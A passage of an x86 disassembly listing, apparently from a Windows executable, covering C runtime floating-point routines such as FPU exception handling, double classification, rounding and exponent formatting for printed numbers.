		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF50
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43CF40
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43CF50
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43CF50
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43CF40
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427878
		fld	dbl_43CF40
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB958, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB958, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43CE68


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43CF40
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43CE6C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427878
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43CF68
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43CF68
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43CF74
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427888
		fstp	[ebp+var_8]
		fld	dbl_427880
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427710
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 26C045Ch
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43CBE8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43CBE8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43CF90o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427878
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB9F0, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB9EC
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43CBE8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB9F0, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB9F0, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB9F4
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB9EC
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43CBE8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB9F0, 0
		jz	short loc_421B99
		neg	esi
		jmp	short loc_421B9F
; ---------------------------------------------------------------------------


loc_421B99:				; CODE XREF: sub_421ADD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421BA1


loc_421B9F:				; CODE XREF: sub_421ADD+BAj
		mov	ebx, esi


loc_421BA1:				; CODE XREF: sub_421ADD+C0j
		push	ebx
		push	edi
